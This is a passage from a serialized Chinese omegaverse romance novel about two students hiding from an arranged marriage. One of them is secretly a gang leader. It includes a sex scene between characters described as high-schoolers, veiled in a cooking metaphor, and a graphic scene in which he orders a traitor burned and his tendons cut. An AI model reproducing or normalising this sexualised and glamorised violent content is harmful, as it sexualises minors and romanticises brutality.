所以这次带来的东西很多都不实用,比如说他带来的袜子基本上都是短袜,穿上躺在沙发上还会露出半个脚踝,匙越就把自己袜子拿来给他套上了。 可以说,他带过来的最值钱的就是那张银行卡。 不过匙越不会要他的钱,不然真成隽云包养他了。 那怎么行。 他养着小云朵还差不多。匙越微妙地想。 隽云拿套了袜子的脚踢踢他:“行了,你快去吃饭吧。” “行。” 匙越就去吃饭了,隽云坐着看了一会儿手机,然后又趴下来了,毛衣的领口有点大了,晃荡着熊口一片白皙的皮肉,上面坠着星星点点下午弄出来的痕迹,匙越就这么看一眼吃一口饭。 吃完饭之后,匙越把碗筷收拾了放到水槽里,洗完碗擦完桌子后看到隽云依旧躺在沙发上,他坐到沙发的一角,拿手机回了几个消息。 —橙子:老大,今晚来名悦吗? —二条:老大,抓着那两个人了,要不要今晚就做掉? —雀儿:老大,最近是有什么事吗?每次都回去的这么早。 —瘌子:老大,有个事情需要您指示。 匙越统统都回:明天。今晚没空。 这时恰好隽云翻过身来,他的脚就刚好搭在他的身上,往后一缩,被匙越眼疾手快地按住了。 隽云有点应激反应,半坐起来,把小腿轻轻从他的手里抽回来。 “现在几点了?” “十点。” 又要到要睡觉的时间了。 隽云却心知他肯定是睡不着了,他下午到晚上这段时间已经睡了四五个小时了。 “你去睡吧,我再看一会儿。” “在看什么?”匙越也放下手机凑过来。 “没什么,在看一本名著。”隽云倒转平板给他看了一眼,匙越看到上面花花绿绿的都是一些英文。 “讲了什么?” 隽云就和他说了一下这本书的简介。 匙越手臂臂展很长,搭在沙发上,侧对着他坐,把他拉过去了,让隽云坐在他的腿上,隽云找了个他舒服的姿势坐好。 匙越捏了捏他的胳膊:“太瘦了。” 隽云耸耸肩,他觉得还好。 他一向不重食欲,向来是吃饭的时候有好吃的就多吃个几口,不好吃或者没胃口就选择不吃了,平常家里人也不给他吃零食,反而是来匙越这里吃的比较多。 隽云都觉得他其实应该长胖了。 他坐在匙越的腿中间,盘着腿,脚踝搭在沙发上,沙发不大,所以两个人只能挤着挨着,热融融的。 隽云抱着平板给他念了一会儿书,抬头看到匙越挺认真看着屏幕的。 他念到哪,他就看到哪,没有丝毫不耐,展露出来前所未有的好奇心,非常给面子。 有这样的听众,隽云就讲的更高兴了,鼻尖隐约有汗水沁出,冷白的脸上浮现粉色。 很少见他这样喋喋不休,匙越非常给面子地捧场,时不时点点头表示肯定。 适时,圈着他的手收紧了,下巴搭在他的肩膀上,隽云侧过脸去看他,首先看到的是匙越的耳钉,他戴着他送给他的莫比乌斯环紫色耳钉,看上去非常的高挺的鼻梁,往下,是他那离他很近的两瓣嘴唇,薄厚适中。 呼吸带着热意洒在脸上,两个人都距离离的太近,隽云戛然而止。 匙越从鼻腔里哼出一声:“嗯?” 怎么不念了? 然后视线缓慢地从平板挪到隽云的脸上,和他对视 不知道谁先主动的,等隽云反应过来的时候,他们已经亲到了一起。 匙越的唇总是带着炽热的热度,两瓣唇温厚的很好亲,连同呼吸起伏洒在脸上让人感到心颤,隽云的唇瓣被他的舌尖描摹。 平板从他的身上掉落在地上,发出“吧嗒”一声响,隽云半个身子都转过去,膝盖抵在沙发上,手紧紧攥着他的衣服。 匙越的衣服紧身,被他拽的透过衣服的弹性能看到里面的肉色,实在是一件非常性感的衣服。 隽云被打开口腔亲的迷糊,舌尖被追逐嬉戏着,吻的太凶了他一直躲,感觉到手上触碰到的肌肉逐渐硬朗。 【审核你好,只是亲嘴嘴!没有做什么!审核老师长命百岁(敬礼)】 两个人窝在沙发上亲了好一会儿,隽云气喘吁吁地稍微离开一点,鼻尖抵着他的鼻尖,口腔里满是另一个alpha入侵的信息素味道,喉结滚动,止不住地吞咽下去两人交换的唾液,嘴唇也挂着亮晶的液体,在匙越又要凑过来舔他的时候,他皱着鼻子往后躲,被搂着腰搂回来,隽云的手抵在他的肩膀上,艰难拒绝: “不要了” “为什么?”匙越也用气音问他。 还能为什么?都有点擦枪走火的趋势了。 隽云闭了闭眼,他喘着气:“没没套。” 说完还带着一丝尴尬。 匙越看着他通红的耳尖,两只手往下,托住他的臀部把他整个人抱起来,隽云就赶忙两只手都挂在他的脖颈上,两只腿挂在他的腰侧晃荡。 匙越说:“我今天去超市了。” 在他耳边说:“买了。”—— 作者有话说:孔雀开屏是有原因的[狗头叼玫瑰] 明天晚上九点更新吧,下午更的话很多宝宝都看不到了,估计会被锁,早点来吧,应该能撑过一个小时[星星眼] 评论区发黄色的小红包[可怜] 第77章 第七十七章 “那里痛吗?” 隽云就把脸埋在他的肩膀上, 不说话了。 书上说的果然没错,Alpha果然相比omega和beta来说要更加重欲。 而且,还是开过荤尝到过一点甜头的男高Alpha。 把他放到床上, 隽云:“要不还是不要了。” 匙越此刻箭在弦上不得不发,何况隽云此刻也绯红着脸非常情动的样子, 匙越摸了摸他汗湿的脸颊,和他对视: “我会轻一点的。” 好吧 直到隽云顿时就绷紧了。 “别咬。” 匙越隐忍地在他额头上亲了亲:“放松点。” 冰凉的润滑油倒下来,然后的时候他还是难以忍受地挣扎了一下, 手往上摸索, 一把揪住枕头。 【审核老师你好,绝对没有脖子以下的描述, 那样是不对的!(敬礼)(敬礼)】 “啊”微不可察的一声低吟从齿间泄出。 匙越就握住他的手,和他十指相扣 混乱中,隽云的指尖划过布料下的紧绷皮肤, 这才发现他居然还没脱衣服,但是他已经被他扒了个精光,匙越却还能算得上衣冠楚楚。 黑色的紧身毛衣勾勒出来完美的alpha身材,隽云只睁开眼看了一下就又闭紧了,身体更紧绷了。 匙越见他难受, 就俯下身亲了亲他的脸, 尝到一点咸涩的味道,是隽云流下的生理泪水,他就又亲了亲他的眼皮,和眼尾,吻掉他的泪。 匙越脖颈上挂着的银饰冰凉,有点咯人,隽云伸手拽住它, 把他拉下来,气若游丝:“你亲我” 亲亲他就能适应了,亲亲他就能放松点了 匙越含住他的嘴唇,轻轻厮磨着,舔邸着,将他细碎的声音都堵住了。 后来匙越脖颈上的项链不知道什么时候到了他的身上,冰凉的,晃荡的,又被汗水捂热了,四周一片寂静,在这个冬日下着小雪的日子里,屋子里气温升的滚烫,酸涩的橄榄味和火热温醇的白兰地酒香味交融。 厨师长的手套已经带上,为了确保橄榄的状态,首先开了小火烹饪,开始做饭。 橄榄被小火炙烤,厨师将红色的辣椒洒在其上,渐渐红色的辣椒痕迹被染的到处都是,橄榄被白兰地红酒浸泡变得酸软无比,被厨师开着小火缓慢煎着,炒菜的声音不住地发出,连带着盖过了空调的嗡响声 到最后空调都不再起作用了,橄榄混在辣椒里变得焉了吧唧的,等最后再淋上一道秘制的浓缩料汁,橄榄更焉了,只不过因为淋了料汁,橄榄浑身上下都散发着诱人的气味,看上去非常好吃。 厨师把它装盘,端上了餐桌。 返回做菜圣地,准备做下一道橄榄菜 隽云半睁开眼睛,察觉到他似乎又有准备戴手套继续炒橄榄的趋势,动了动嫣红的双唇,怕极了:“不要了” 浑身被酒香味浸透了,快要醉晕了。 “没手·套了。”匙越的声音低哑,看着疲倦的隽云:“买少了。” “” 不知道弄到了几点,房间里没有窗户,他甚至都没有力气转头去看那个兔子闹钟上面显示的时间了,只能靠在匙越的肩膀上,忍受着时间的流逝,虚虚叹了一口气。 唉 怎么还没结束 不想吃炒橄榄配酒了。 他是一个教养很好的人,嘴里吐不出来什么脏话,哪怕在床上被过分对待,也说不出来什么话,第一次还好,第二次被翻过来压在被褥里的时候,只能眼尾飘红,双唇微张着喘气,氤氲着漂亮的眼睛,哭出来,翻来覆去地骂一句: “你混蛋你混蛋” 骗子。 然后就被更过分地对待了,感受到白兰地酒溅出来之后,以为结束了,结果只是停顿了一下,厨师又换了个炒菜的手套。 黑夜漫长,起初时间还一分一秒地过去,逐渐地变得混沌起来,被揉皱了,以小时开始计算,隽云不再清晰地知道到底过了多久,只知道他被给予的感受从来没有停止过。 小橄榄被人诱哄,被换了很多次手套的恶毒厨师逼到绝境,失了神,被卷入一轮又一轮的爆炒中,厨师看着用细碎话语挣扎的橄榄奋力朝他反抗,然而搜刮出有限的词汇来骂人的词汇又实在有限,可怜惨了,伤害力不大却美味度拉满了,于是炒菜的厨师更加心生喜爱,炒的力度就更大了。 一道美味的橄榄菜,就要先让小橄榄没力气反抗,需要把橄榄拍晕,不过不是拿手拍。 于是室内就只剩下拍橄榄的声音还有橄榄的破碎声吟以及吃橄榄的低沉喘声,厨师吃了个遍,毕竟橄榄的做法太多了。 橄榄太青涩,回甘很甜,正面吃反面吃、颠着勺吃怎么品尝吃都非常美味,他甚至想好了下次炒菜要怎么炒,或许他可以继续就今晚的炒法吃个十次八次,再换另一种炒法吃个十次八次,再那样十次八次,再那样 就在厨师淋上红酒进锅里的时候,橄榄在锅里余颤不止,厨师食髓知味但是橄榄只有一个,今天吃的太猛了,橄榄皮很薄,被啃的斑斑驳驳,显然已经承受不住更多炒法了,于是只能偃旗息鼓,餍足地抱着被拍晕过去的橄榄洗洗拯救它。 橄榄是很鲜活顽强的植物,放在水里,洗洗擦干,等明天又会鲜活起来了。 把橄榄身上沾上的调料都洗掉,不过上面的点点红辣椒是洗不掉了,只能等辣度过后红色的痕迹自己消掉,洗的时候浑若无事地进去又吃了几口。 橄榄太好吃了 醒来的时候已经是下午了,隽云嗓子很疼,迷糊睁眼起来的时候发现四周都很安静,眼皮很重,身体也很沉重。 痛 身体像被重新组装过一样。 艰难转头往旁边看去,匙越不在,身边空空荡荡。 他似乎总是有很多事。 也不知道在忙什么。 可能是闵家的事吧。隽云心想。闵家刚把他认回来,有许多事情需要打点,更何况闵家还没有向外界公布他的身份,匙越前几天说是和家里人吵架了,但是闵家也不可能对他放任不管。 撑着胳膊缓缓从床上起来,发现身上的衣服都被换过了,而且他穿的又是匙越的裤子。 “” 踩在地上的时候,腿一软,差点跌坐在地上,隽云及时扶住旁边的柜子才幸免于难。 嘶声着艰难放松自己,一阵隐秘的辛痛传来,隽云:“” 那时,匙越刚开始还顾着他的表情,只不过后来就顾不上了。 痛是痛的,但是比起上次稍微好一点,他也稍微能体会到一点舒爽,不过也就一点,不太多。 回忆就此打住,不能再过多细想,他宁愿他失忆了,这样就不用记得昨天被匙越晾晾酱酱羞耻按肚子的细节了。 隽云在房内缓步踱走来适应重组后的酸爽身体,小幅度运动结束,他拉开房门,客厅内也一片寂静,不过桌子上摆了几道菜,已经冷掉。 饮水机旁边的柜子上放了一个微波炉,之前没见过,可能是今天买的,上面贴了一个便利贴。 “醒来了记得吃饭,菜已经做好了,冷掉的话放微波炉里叮一下,饭在电饭煲里保温,吃完碗放桌上,我晚上回来!——匙越。” 隽云冷漠已阅,把便利贴丢了。 他就小幅度挪动着步伐,看了看桌子上的菜,又是三菜一汤,不过之前还能看到一点辣椒,今天的菜连一点也看不到了,韭菜炒蛋、素炒虾仁,淋了料汁的蒸山药,还有一道红枣枸杞鸡汤。 都很清淡,但是还算丰富。 隽云就去找饭,然后发现电饭锅搬到室内来了,不在厨房,放到了饮水机旁边的柜子上,他这才恍然。 匙越其实把他照顾的很好。 掀开电饭锅,发现里面是黑豆黑米黑芝麻粥,感觉好像有哪里不对,拿出手机搜了一下,看着看着,脸逐渐涨红了。 基本上都是治肾亏气虚精元虚弱的食物。 隽云:“。” 他呆了几秒,然后收拾起气势,发了个消息给匙越- 云:? 对面很快发来消息- 小狗:起了吗?吃饭了吗?- 小狗:呆萌小狼埋头吃饭.jpg- 小狗:呆萌小狼趴着舔镜头.jpg- 小狗:呆萌小狼趴着摇尾巴.jpg “”隽云看着一系列堪称舔狗的表情包,一时不知道该怎么回了。 唉。 有够烦。 叹一口气,干脆放弃质问了,料想到匙越可能会回一些让他无地自容的话,干脆还是不要问了- 云:- 云:刚起。 看了一下时间,现在下午两点了,他就把菜端到微波炉里,按照匙越发来的微波炉教程热了一下——其实他是会微波炉的,毕竟有时候他在家里想喝点热饮也会自己去叮一下牛奶,但是匙越刚买的这个微波炉太老式了,他懒得研究,直接按照匙越说的来操作- 小狗:腰痛不痛?- 云:还行吧。 其实很痛- 小狗:那里痛吗? 那里,是 第78章 第七十八章 “掉马。” 隽云以肉眼可见的速度一点点红温。 长按那句消息, 把它删掉。 他就当没看到这句话。 都热好菜后,隽云站着吃饭,忽略匙越发来的问候并把他的备注名改成“午夜刽子手”后, 就没再回他了。 他回了一下其他人发来的消息。 文强每天都回来慰问他今天还活着吗?大概是知道他一直都没回隽家,没有被绑匪绑着, 但是担心他生存艰难可能哪一天就出意外了,所以每天早上九点准时问他,还活着吗兄弟? 前两天还告诉他, 他和陆思华的订婚宴请柬都发出去了, 他是星期五不见的,那天晚上隽家上到他的叔叔伯伯、他爸妈, 下到那些佣人都找他找疯了,但是整个A市都没有隽云的踪影。 后来只能取消订婚,陆家人的脸色都很难看, 文强说两家已经买好了两家联姻的通稿 ,但是闹了这么一出,现在陆家和隽家都有点下不来台。 隽云心想,恐怕不止是下不来台,隽家还需要对陆家有个交代。 之前陆家为了和隽家联姻攀上关系, 给了隽家那么多好处, 现在估计都要还回去了,甚至还要对陆家做一些赔偿安抚,隽诉和元青恐怕能气疯。 但是和陆家关系闹掰了绝对不是隽诉和元青愿意看到的,所以该赔还得赔。 他逃出来了,隽家现在还在到处找他,一旦被隽家抓回去,和陆家的婚约可能会继续, 毕竟牺牲他的婚姻能给隽家带来财富和有利的商业版图。 吃完饭后已经三点了。 去卧室拿了一件毛绒的外套披着,拿杯子去饮水机接了点热水,他就捧着杯子缩在沙发上。 解锁平板,玩了一会儿,平板上已经把合适的学校和专业都列出来了,手机上的红点消息都清空,没什么好玩的了。 看着窗外那颗光秃秃的大树,雪已经停了,外面阳光还不错,冬日暖阳总让人生出一种想要出去晒晒的心思。 隽云收回视线,现在外面到处都是要抓他的人,要谨慎一点,不能出去。 只是,来匙越家也快一个星期了,这几天他连门都没迈出去过,一直就是在客厅和卧室打转。 实在是很无聊。 没什么事情做。 隽云的视线落在客厅里那袋满了的垃圾袋上。 夜幕降临,手机里那个备注为“午夜刽子手”的男人还没有给他发消息。 看了一下天色,已经很晚了。 这么晚了,他晚上不回来吃饭了吗? 或许他应该出去丢个垃圾,说不定回来的时候还能碰上他,就当接男朋友了。 隽云把他的备注改回“小狗”,然后他起身,把外套拉链拉上。 心道,他就在附近走一下而已,大晚上的,东城区地势复杂,不会这么倒霉就刚好碰上来找他的人的。 隽云把手机放进兜里,大门的锁匙越放了一把备用钥匙在柜子的一个抽屉里,隽云拿上钥匙,又提上垃圾袋,开了门出去了。 抬头看了看天色,晚上风有点大,几乎是开门的瞬间隽云的脸就感受到了凌冽的冷风,扑在脸上让人,也让他有点后悔出来了,但是已经出来了,干脆就逛一下再回去好了。 隽云把拉链拉到最顶上,吸了吸鼻子,下巴埋进棕色的毛绒外套里,毛绒绒的帽子拉起来戴上,他一手领着垃圾,一手揣在兜里,朝记忆里的那条大路走去。 旁边有个小卖铺,门口是厚重的透明胶门,里面很热闹,隽云路过朝里面瞥了一眼看到好几个手臂纹着花纹的花臂男在打牌,乌烟瘴气的烟气飘出来,咳嗽和说话的声音传出,还有人啐了一口痰在地上。 隽云马上就收回视线,埋头走自己的。 “诶?诶!!那不是匙家小子的omega吗?” 熟悉的老伯音又响起,之前每次路过他们家他都会这么叫他,不过这次是真的对象了。 隽云转头看去,看到一个头发花白,穿着工装背心的老头在朝他招手,有个正在打牌的男人视线落在他的身上,那人有着下三白的眼睛,眼仁很小,盯着他让他感觉有点头皮发麻。 他现在没有保镖,如果这几个人想对他出手,恐怕没有什么招架之力。 这么想着,有个男人却突然朝他挤出来一个笑,指了一个方向:“老大在名悦酒吧。” 笑容很扭曲,估计是因为不太习惯对别人笑,所以脸颊的肌肉挤到两边显得有点僵硬恐怖。 隽云疑惑,不知道他为什么和自己说这句话,还有 老大? 直觉告诉他这个凶猛的大花臂说的应该是匙越,但是他怎么会叫匙越老大? 手上还领着垃圾袋,隽云先依着记忆去找到垃圾站,进了蓝色铁皮围起来的门,就看到估摸有上千个黑色红色的袋子堆在一起 散发着绿色的幽臭味,隽云往后退了一步,手抬起,遮了一下鼻子。 上次和匙越来丢垃圾也没这么臭啊。 回想了一下,是了,因为上次他是跟在匙越后面,垃圾也是匙越拎着,他连垃圾站的门都没进来,在门口等了一会儿匙越丢完垃圾之后才和他一起回家的。 想到匙越,还有那个什么酒吧 隽云快步走出了垃圾站,寒风里朝着花臂男指的方向走去,匙越和他第一次见面,给他的印象就是一个比较老实的alpha。 即便后来得知他打耳洞,私下里的衣服也不是那么正经,以前还纹过身,但是他上课读书的时候很认真啊。 至于老大、酒吧什么的,可能是那个花臂男认错了吧 他越走越快,那个酒吧离垃圾站有点远,大约走了十五分钟,他看到了一个酒吧,牌子花哨亮着灯,挂着“名悦酒吧”四个字。 四周楼房都是灰扑扑的,不少店铺都开着,酒吧对面有一个装饰牌挂在顶上写着红字“东哥饭店”,里面几个人在吃饭。 那些人指着瘦弱omega交头接耳,他正踩着雪走到一个酒吧玻璃门门口,在里面探看。 “那个是谁?” “不知道,没见过。” “怎么会找来这里?” 酒吧往常都是彻夜开着的,绚丽七彩的灯光闪烁一整夜,今晚却很早就打烊了,因为老大要在酒吧做一些事情。 “要不要赶走?” “再看看吧。” 雪又下起来了,纷纷扬扬的落在地上,落在omega名贵的棕色外套上。 对面正在吃饭的人见那个omega一直站着没动,不知道看到了里面什么,脸色苍白发青,不知道是冻的还是吓的。 他们嗤笑一声,刚想喊一声,酒吧今天不开门明天再来吧,就看到那个omega头也不回地转身走了。 “怎么莫名其妙的。” “看着瘦瘦弱弱的,怎么敢来这种地方?” “看衣服和鞋子好像都还蛮贵的,不像是住在东城的人啊。” “哪家的小少爷走错路了吧?” “别吓到这小孩了哈哈哈哈哈。” 幽幽的灯亮着,黑暗的一角人影攒动,几个人跪在地上,沙发的一角坐着人,那人脸上有刀疤,说话凶蛮: “就是这些人。” 坐他对面的男人翘着二郎腿,手里夹着烟,在一片暗淡的光景下,烟头泛着明灭红点,袅袅白色烟雾升起,那人手指骨感很重,吸了几口烟,吐出烟雾,手搭在沙发扶手上,弹了弹指间的烟头,烟灰掉落在地。 坐在他对面的男人脸上有一道刀疤,他对旁边跪在地上的那两人说:“老大在这里,你们说说都做了什么?” 那两人对视一眼,其中一个猛地在地上磕头:“对不起!对不起老大!我不是故意出卖你的。” 旁边的人也开始磕头,头砸在地上邦邦响,很快就砸青了砸红了,血丝从额头渗出来:“对不起老大,是何苑那帮人找到我,我才我上有老下有小,以前也没想过要背叛你老大,看在我以前尽心尽力为你做事的份上,能不能能不能网开一面老大我真的知道错了” 众人皆眼观鼻鼻观心,屏声静气安静着等着坐在沙发的男人发话,那人笑了一声,语气凉薄: “上有老,下有小?” 薄底皮鞋踩到他的手指上,那人惨痛叫了一声,脸上五官扭曲:“老大我我真的知道错了” 穿着一身斯文且剪裁得体的西装,他踩着那人的手笑道:“你背叛我的时候怎么不考虑你上有老下有小?” “为何苑做事?为闵荣做事”匙越说的很慢:“你怎么没想到,会有被我抓到的一天?” 旁边跪着的那人已经是瑟瑟发抖了,匙越一边和他说话,另一只手拍了拍旁边那人的脸,那人顿时汗如雨下:“我不是故意的老大,我真不是故意的,我什么也没做,我不过是告诉他们你什么时候回东城区而已” 匙越眉心一皱,语气放轻了:“是吗?” “是的,是的” 那人以为事情还有玄机,大喜过望,然而下一秒他就惨叫一声,震颤着眼珠子往下看,刚才还在匙越手上的烟头不知道什么时候摁在了他的手背上。 用力往下一按。 “啊——” 皮肤烧焦的气味弥漫在不大的地方,很快被烟头烫的地方周围都焦黑一片,匙越黝黑的瞳孔里满是遗憾,把烟头拿开,丢在地上。 “手筋挑了。” 此话一处,那人顿时脸色唰白:“老大!!!” 坐在对面的明叔朝他身后愣着的人说:“你们几个,没听到吗?” 于是他们从腰间抽出一把匕首,按住被烟烫手背的那人的手,锋利的刀在黑暗中闪过一抹光芒,猛地一扎—— 鲜血的溅出来,惨叫声伴随着酒吧里缓缓流淌的鼓点音乐,匙越听着这悦耳的叫声,仰头抿了一口酒,红酒液挂在杯壁缓缓流淌。 地上的血蔓延流淌到了他蹭光瓦亮的皮鞋边上,那些人手起刀落,很快两人因为惊吓和流血过多晕厥过去,被人拖着脚腕拖了出去。 “背叛我,这就是下场。” 不少人都惊惧地往后退一步。 匙越厌烦地挥挥手:“都滚吧。” 看着周围乌泱泱的几十人噤若寒蝉地从酒吧里出去,外面下着小雪,地上的雪堆到脚踝那么厚了,突然匙越视线一凝。 不远处有一行脚印还没有完全被雪覆盖,说明那人刚走没多久。 不过,东城区都是他的地盘,就算被别人看到那又怎么样?无所谓。 明叔问他:“怎么样?” 血腥味浓厚,在室内挥之不去,匙越看了看天色,才发现已经这么晚了,他今天下午一直在闵家,快傍晚了才赶过来,忘记给家里的小云朵点饭吃了。 也不知道中午有没有好好吃饭—— 作者有话说:现在还气定神闲呢,已然不知道被lp看到了,人设大崩塌了[狗头] 评论区发社会人小红包[摆手] 第79章 第七十九章 “隽云我要定了。”…… “情况不太好。” 闵荣还很提防他, 毕竟虽然亲子鉴定过了是他的儿子,但是没有养在身边,也怕哪天突然咬他一口。 他一边和明叔聊天一边打开了和隽云的聊天框, 上面聊天记录的时间还显示在下午两点- sy1011:那里痛吗? 这条消息到现在隽云都没有回他。 想到个中理由,匙越笑了笑, 他发消息过去:- sy1011:还在生气吗?我昨天晚上确实太过分了。午饭吃完了吗?我等会儿再叫我朋友给你送晚饭?我有点事情,要晚上才能回去- sy1011:呆萌小狼四脚坐得端正,眨着忽闪忽闪的大眼睛.jpg 等了一会儿还没人回复, 匙越就捧着手机猜他是不是睡着了。 但是饭还是要吃的。 小云朵怎么能不吃饭呢? 转而打了个电话给一个人, 点了几个菜交代他送到东城区他家,到时候会有人给他开门, 要尽快。 面无表情地挂断电话,他又切回消息框看了一下,隽云还是没有回他。 收回手机就发现对面的明叔在看他:“怎么了?” “谈恋爱了?”明叔一语道破。 “嗯。”匙越也不遮掩, 划拉着聊天框的刷新,下拉,松开,刷新页面转了个圈,隽云还是没有回他。 “谁家的?我认识吗?” “隽云。” “谁!?”明叔脸上是刀疤也掩盖不住的震惊:“隽云!?” 隽家的小少爷在订婚宴前几日从家里逃跑出来的事情他有所听闻, 不过隽家没有公开承认, 所以他也只是听说没有在意过,没想到,人竟然在和他家少爷谈恋爱??? “这么大的事情你怎么不跟我说!?” 匙越斜眼:“和你说你会同意?” “可是那是隽家!”明叔站起身,大骇:“隽家要是找来东城区,发现隽云被你藏着,到时候你还能不能顺利回闵家?别忘了闵荣还没有召开记者会承认你的合法继承关系!!!” “晚了。”匙越说。 “什么?” “他今天找我,就是为了问我这件事情。” 下午宴会结束后, 闵荣在会议厅问他隽云不见的事情他有没有参与,为什么隽家的父母找上门来说匙越和他们家的儿子在谈恋爱,要他交出隽云? 彼时闵家还不知道隽云失踪的事情,只听到小道消息说陆家和隽家要联姻了,而直到隽诉和元青愤怒地上门要他交出隽云的时候,他才知道隽云和匙越的事情。 他们竟然在一起了? 闵荣问他这件事是不是真的。 他非常愤怒地质问匙越是不是掺和进了隽家的家事,要知道他和隽家正在争夺城东那块地皮,一旦匙越和隽云的事情被曝光,极有可能出于社会不良影响,让闵家失去竞争力。 明叔:“那闵荣怎么说?” 匙越:“他让我分手。” 明叔非常同意,任何事情都不能阻止他们的计划,他巴不得地说:“那你就分手!” “不行。”匙越抬眼:“别的都可以,这个免谈。” 今天下午,他也是这么和闵荣说的。 明叔看着他这样非常生气,恨铁不成钢,他想拍拍他的脑袋问他到底在想什么: “你谈个恋爱,准备失去闵家这座靠山?你忘了你妈妈你忘了闵家是怎么夺走匙家家产的吗!!?你怎么能掺和进隽家的事情!你唉!” 匙越:“晚了,他必须和我在一起,闵家归我,同样,隽云我也要定了。” 明叔被他这番话一震:“那那闵荣怎么说?” 匙越这么不管不顾,但是闵荣可不是那么好说话的,这个人疑心重,自私自利,一旦他发现事情不是如他所掌控的趋势进行,他的儿子背着他和隽家有牵扯,说不定就直接斩断匙越接手闵家的这条线了。 毕竟匙越并没有被闵家放在明面上承认,闵家的唯一继承人仍然是闵术。 匙越回想下午的事情,眼睛一眯。 那时候闵荣当然大发火,说他太不理智,会影响他们家的项目,要重新考虑要不要让他接手闵家的事情了。 但是这些话他没有告诉江明,他只说:“我会处理好这些事情。” 江明沉重地叹一声气,感觉太棘手了,如果是别人,他还可以私下去打发走,但换成是隽家的孩子他还真不好暗地里操作。 他看着匙越这些年越发成熟的面庞,和当初找到他时那副瘦弱阴狠的模样完全不同了,更多了些游刃有余和心机深沉,一点也不像和他同龄的那些孩子。 江明甚至不知道他在想什么。 不知道什么时候他已经完全左右不了这个孩子的想法了。 他完全有自己的想法,甚至背着他做了很多擅作主张的事情。 有的时候他总在怀疑自己,把他捧到这个位置让他成长的太快,见识了太多凶残是好事还是坏事了。 “接下来你要怎么办?” 现在计划有变,失踪的隽家小少爷被他家的少爷藏起来了,甚至隽家已经开始疑心是匙越把隽云带走了,他们躲不了多久的。 匙越说:“再看吧。” 他想到在他家里的隽云,闵家,隽家 首先要做的,还是得先把闵家的大权搞到手。 再向隽家提亲。 不过两家针锋相对了十几年,一时间恐怕不会答应,只得闵家让利了,但是这样闵荣这边又不会同意 思绪纷繁复杂,匙越只能从头开始理,他想,最起码要取消掉隽家和陆家的联姻,让隽云只能和他结婚。 回想到昨晚的情况,脑海中一个疯狂的念头闪过,要不然让隽云怀上他的孩子? 这个念头很快就被遏制住了。 他是为了达到目的不择手段的人,但是隽云不一样的,小云朵不想怀小小云朵,他说过的。 他还在读书。 他们甚至没有终身标记过,只能找其他的办法了。 就在这时,手机里又传来一阵翁响,匙越还以为是隽云回他的消息了,眉头一阵松快,拿起手机看了一下。 是陆思华。 “” 匙越臭着脸通过他的好友申请。 下一秒,陆思华的消息就发了过来:隽云现在还好吗。 托他的福。匙越冷笑一声:当然挺好的- 陆思华:那就好。 不明白陆思华为什么现在要来联系他- 陆思华:刚刚隽云给我发消息了。 匙越缓缓发了个:“?”- 陆思华:他问我联姻有没有取消。 匙越紧盯着屏幕,不明白隽云为什么会突然问他联姻有没有取消的事情,难不成他还想和陆思华结婚!??- 陆思华:我在想你是不是做了什么让隽云伤心的事情,所以他才会来问我这件事。 紧接着,陆思华给他发了一大段的话- 陆思华:毕竟我和隽云认识了十几年了,他的性格我非常了解,他一旦决定要逃婚就不会再来问我了,所以说还对我们的联姻抱有一丝可能的想法。 匙越咬牙切齿地给他发:他不会和你结婚- 陆思华:但是看样子,他也不想和你在一起了吧- 陆思华:我是他哥哥,就算不是亲生的也差不多了,从小就认识,而你,你算什么。 匙越怔然一瞬,竟然该死的觉得他说的很有道理。 如果隽云不和他在一起,他确实就什么也不算了,毕竟闵家本就和隽家不对付。 如果隽云不打算和他在一起了,他们就会老死都不想往来了,就像隽家和闵家如今的关系一样,明面上还算和谐的竞争关系,私底下互相打压拉踩。 顶多几年后在某个宴会或者谈判桌上再见,那时候他们完全成熟,站在各自的立场上,是敌非友,那时他和隽云就彻底不可能了。 莫名想到酒吧旁大雪未覆盖的脚印,一路蜿蜒到街道的尾端,那是通往他家的路。 不好的预感在心里跳跳匙越看了一下手机,距离他刚才打电话叫手下送饭已经有十多分钟了。 —陆思华:我知道他在你身边,劝你,还是放他回家吧。 无视这句话,他打了个电话给他的手下。 “喂?” “老大,在,怎么了?” “我让你送过去的饭菜送到了没有!?” “送到了送到了!” “送到那个omega手里了没有?” 那个人踌躇:“是那个瘦瘦的omega吗?” “送到了没有?你见到他了没有?”匙越的话语总是沉着肃杀的,很少听到他这样有些焦急的声音。 那人顿时一激灵,以为自己做错了:“送到了,送到了!他自己出来拿的,饭到他手里还是热的,老大,我完全按照你的要求,在厨师出餐的那一分钟就拿到了然后赶紧跑过去送的” 匙越松了一口气,既然送到了,就说明隽云是在家的,他刚刚根本没出门,是自己疑心太过了。 那行脚印根本不是他的。 但是紧接着电话里那人说的那句话又完全将他吊起来了:“但是那位omega” 他斟酌着用词:“和那日我送饭时的表情相比,似乎看上去不怎么开心,衣服、帽子、还有脸上都有雪,像是刚刚冒雪出去过” 匙越掐紧了手机,他几乎有一瞬间要呼吸不过来了。 面上闪过惊慌,很快被压下来,镇定地挂断了电话,明叔问他:“接下来你要怎么做有计划安排吗?” 他挥了挥手,突然有些口干舌燥地拿起酒杯猛灌了几大口,红酒液从唇角滑落滴落到身上,泅湿了身上的西装,他却无暇顾及那么多了。 酒杯搁在桌子上差点被搁碎,他撑着桌子脑海里全是那天在天台时说的话,那时他神色冰凉地告诉他,如果再骗他,他们就分手。 分手 这两个字砸的他头晕脑花。 饶是他算无遗策也没想到会被隽云撞破他刚才的一幕。 他刚才都做了什么? 隽云会不会他刚才的模样非常恐怖? 会不会觉得他暴力血腥? 会不会想和他分手 越来越多的念头几乎要遏制不住,他要马上见到隽云,他要确保他还在东城。 他拎起西装外套,来不及和明叔打个招呼就马不停蹄地赶回去了。 * 隽云吃完饭后,他拿热水擦了一下脸,镜子面前的他的鼻子和眼睛都有点红,看上去像是哭过一样。 他吸了吸鼻子。其实也只是冷到了而已,在大雪里站的有点久。 回来的时候他走的很快,沿着来时的路回去,他的脚步踩的很沉,只是感觉有点后悔,为什么那时候他要有好奇心,他为什么要去找那个酒吧。 不找就不会看到那样的情形了。 匙越骗他。 回到房间里的时候他甚至不知道该做什么反应。 他看着自己带过来的书包,他就这么拎着一个包从家里跑出来找他私奔了,几乎抛下所有。 他把他所有珍贵的东西,他的钱、他的地位都抛弃了,给匙越更加珍贵的,他的感情。 他坦诚以待,但是匙越瞒着他很多事情。 鼻尖又有点红了,隽云又坚定认为是因为没有开暖气,所以他才总是鼻头酸涩。 他把自己收在柜子里的东西都拿出来,那张卡放在柜子的最显眼的地方,五百万他不决定带走了,就当为这几日的收留和吃住付费了。 他刚把衣服从柜子里拿出,手机响了一声,有消息弹出。 